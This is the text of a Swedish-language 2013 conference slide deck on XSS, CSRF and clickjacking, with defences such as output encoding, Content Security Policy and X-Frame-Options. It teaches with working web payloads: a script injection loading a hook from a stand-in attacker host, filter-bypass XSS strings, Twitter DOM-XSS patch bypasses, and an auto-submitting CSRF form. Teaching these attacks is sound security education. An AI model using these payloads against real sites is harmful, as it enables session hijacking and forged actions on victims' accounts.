Date post: | 29-Jun-2015 |
Category: |
Documents |
Upload: | johnwilander |
View: | 679 times |
Download: | 0 times |
Tre sårbarheter i webappar
@johnwilander, GeekMeet 2013
• Cross-Site Scripting (XSS)• Cross-Site Request Forgery (CSRF)• Clickjacking
Tre sårbarheter i webbappar
Över 50 % är XSS
Källa: IBM X-Force 2012 Mid-year Trend and Risk Report September 2012
Cross-Site ScriptingTeori
Cross-Site
Scripting
Cross-Site ScriptingTyp 1, reflekterad
Cross-Site
Scripting
Phishing
Cross-Site ScriptingTyp 2, lagrad
Cross-Site
Cross-Site ScriptingTyp 2, lagrad
Scripting
Cross-Site ScriptingTyp 0, DOM-baserad
Cross-Site
Scripting
Phishing
Cross-Site ScriptingType 0, DOM-baserad
Phising
Cross-Site
Scripting
Inget anrop till servern!
Single-page-appar gör att injicerade skript ”hänger kvar” i DOM:en.
https://secure.example.com/authentication#language=sv&country=SE
https://secure.example.com/authentication#language=sv&country=SE
Skickas aldrig till servern
Var alltid försiktig med att använda data från URL:en, särskilt efter #.
https://secure.example.com/authentication#language=<script src="http://attackr.se:3000/
hook.js"></script>&country=SE
Skulle du klicka på …
https://secure.example.com/authentication#language=%3Cscript%20src%3D%22http%3A%2F%2Fattackr.se%3A3000%2Fhook.js%22%3E%3C
%2Fscript%3E&country=SE
Skulle du klicka på …
http://bit.ly/Yg4T32
Skulle du klicka på …
Filtrera bort <script>?
http://docs.sencha.com/ext-js/4-0/#!/api/Ext.util.Format-method-stripScripts
/** * Strips all script tags * @param {Object} value The text from which to strip script tags * @return {String} The stripped text */stripScripts : function(v) { return !v ? v : String(v).replace(stripScriptsRe, "");},
var ... , stripScriptsRe = /(?:<script.*?>)((\n|\r|.)*?)(?:<\/script>)/ig,
Filtrera bort <script>?<img src=1 onerror=alert(1)>
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
<body onload=alert('XSS')>
<table background="javascript:alert('XSS')">
¼script¾alert(¢XSS¢)¼/script¾
<video poster=javascript:alert(1)//
”Kom igen, sånt där funkar inte, va?”
Jo. Demo.
DOM-baserad XSSTwitter september 2010
Källa:http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html
(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; }})(window);
(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; }})(window);
Vad gör den här koden?
(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; }})(window);
”https://twitter.com/#!/johnwilander”.split(”#!”)[1]returnerar”/johnwilander”
(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; }})(window);
”https://twitter.com/#!/johnwilander”.split(”#!”)[1]returnerar”/johnwilander”
window.location = ”/johnwilander”initialt ’/’ => behåller domänen men ändrar path
(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; }})(window);
”https://twitter.com/#!/johnwilander”.split(”#!”)[1]returnerar”/johnwilander”
window.location = ”/johnwilander”initialt ’/’ => behåller domänen men ändrar path
Såtwitter.com/#!/johnwilanderblirtwitter.com/johnwilander
Read more: http://kotowicz.net/absolute/
http://twitter.com/#!javascript:alert(document.domain);
http://twitter.com/#!javascript:alert(document.domain);
Skickas aldrig till servern=> DOM-baserad XSS
var c = location.href.split("#!")[1];if (c) { window.location = c.replace(":", "");} else { return true;}
The Patch™
var c = location.href.split("#!")[1];if (c) { window.location = c.replace(":", "");} else { return true;}
Ersätter första träffenför sökkriteriet
The Patch™
http://twitter.com/#!javascript::alert(document.domain);
http://twitter.com/#!javascript::alert(document.domain);
(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); }})(window);
The 2nd Patch™
(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); }})(window); Regexp-avgränsare
(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); }})(window);
Globalmatchning
Regexp-avgränsare
(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); }})(window);
Ignorerastor/litenbokstav
Regexp-avgränsare
Globalmatchning
Fääärdig?
http://twitter.com#!javascript&x58;alert(1)
http://twitter.com#!javascript&x58;alert(1)
HTML entity för ’:’
(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location.pathname = a; }})(window);
The n:th Patch™(den här funkar)
Notera att Twitter faktiskt gör rätt: https://twitter.com/about/security
Lös sådana här problem på rätt sätt med
Client-Side Encoding
https://github.com/chrisisbeef/jquery-encoder•$.encoder.canonicalize()
Throws Error for double encoding or multiple encoding types, otherwise transforms %3CB%3E to <b>
•$.encoder.encodeForCSS()Encodes for safe usage in style attribute and style()
•$.encoder.encodeForHTML()Encodes for safe usage in innerHTML and html()
•$.encoder.encodeForHTMLAttribute()Encodes for safe usage in HTML attributes
•$.encoder.encodeForJavaScript()Encodes for safe usage in event handlers etc
•$.encoder.encodeForURL()Encodes for safe usage in href etc
https://github.com/chrisisbeef/jquery-encoder•$.encoder.canonicalize()
Throws Error for double encoding or multiple encoding types, otherwise transforms %3CB%3E to <b>
•$.encoder.encodeForCSS()Encodes for safe usage in style attribute and style()
•$.encoder.encodeForHTML()Encodes for safe usage in innerHTML and html()
•$.encoder.encodeForHTMLAttribute()Encodes for safe usage in HTML attributes
•$.encoder.encodeForJavaScript()Encodes for safe usage in event handlers etc
•$.encoder.encodeForURL()Encodes for safe usage in href etc
Skydd mot XSS
Content Security Policyhttp://www.w3.org/TR/CSP/
Tillåt bara skript från godkända domäner
och
tillåt bara skript från filer, dvs inga inline-skript
Ny HTTP svars-header som säger ...
'self' = samma URL, protokoll och port
Content-Security-Policy: default-src 'self'Ladda bara skript, plugins, css, bilder, ljud/video, frames, typsnitt och data från den egna domänen
Content-Security-Policy: default-src 'self'; img-src *; script-src trusted.com Acceptera bilder från valfri domän, skript från trusted.com, resterande bara från den egna domänen
CSRFmin favorit!
Cross-Site Request Forgery
Cross-Site
Request Forgery
Cross-Site Request Forgery
Cross-Site
Request Forgery
Phishing
<img src=”https://secure.example.com/logo.png" />
Får www.attackr.se ladda bilder så här:
?
<img src=”https://secure.example.com/authentication#language=sv&country=SE" />
?
Får www.attackr.se ladda bilder så här:
<img src=”https://secure.example.com/authentication#language=sv&country=SE"
height=0 width=0 />
Med img-element så kan www.attackr.setyst skicka HTTP GET till valfri domän
”Hur är det med HTTP POST då?”
What’s on your mind? What’s on your mind?POST POST
I love OWASP!
What’s on your mind? What’s on your mind?POST POST
I love OWASP!
What’s on your mind? What’s on your mind?POST POST
John: I love OWASP!
What’s on your mind? What’s on your mind?POST POST
What’s on your mind?I hate OWASP!
What’s on your mind?POST POST
What’s on your mind?I hate OWASP!
What’s on your mind?POST POST
What’s on your mind?I hate OWASP!
What’s on your mind?POST POST
John: I hate OWASP!
What’s on your mind? Look at the lol cat!POST
John: I hate OWASP!
<form id="target" method="POST" action="https://1-liner.org/form"> <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" value="POST"/></form>
<script type="text/javascript"> $(document).ready(function() { $('#form').submit(); });</script>
What’s on your mind? What’s on your mind?POST
John: I hate OWASP!
<form id="target" method="POST" action="https://1-liner.org/form"> <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" value="POST"/></form>
<script> $(document).ready(function() { $('#target').submit(); });</script>
csrfMulti.html
invisibleiframe
csrfMulti0.html
csrfMulti.html
invisibleiframe
invisibleiframe
target0.html csrfMulti1.html
Wait
csrfMulti.html
invisibleiframe
invisibleiframe
invisibleiframe
target0.html target1.html csrfMulti2.html
Wait
csrfMulti.html
invisibleiframe
invisibleiframe
invisibleiframe
invisibleiframe
target0.html target1.html target2.html csrfMulti3.html
Wait
csrfMulti.html
invisibleiframe
invisibleiframe
invisibleiframe
invisibleiframe
target0.html target1.html target2.html target3.html
Demo POST CSRF mot REST/json
Clickjacking... eller Likejacking eller Followjacking eller ...
Clickjacking-demo
X-Frame-Optionshttp://blogs.msdn.com/b/ie/archive/2009/01/27/ie8-security-part-vii-
clickjacking-defenses.aspxhttp://tools.ietf.org/html/draft-
gondrom-frame-options-01
Ingen sida får ladda mig i en iframe
eller
bara sidor på min egen domän fårladda mig i en iframe
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
(På gång:X-Frame-Options: ALLOW-FROM [list])
Intresserad?
• Gå med i ditt lokala OWASP-chapterhttps://www.owasp.org/index.php/OWASP_Chapter
• Börja följa de här personerna på Twitter:@WisecWisec @0x6D6172696F @garethheyes @securityninja @jeremiahg @kkotowicz @webtonull @manicode @securityshell
• Börja hacka själv – det är kul!Bästa stället att börja? Dina sajter såklart.Håll det lagligt bara ;)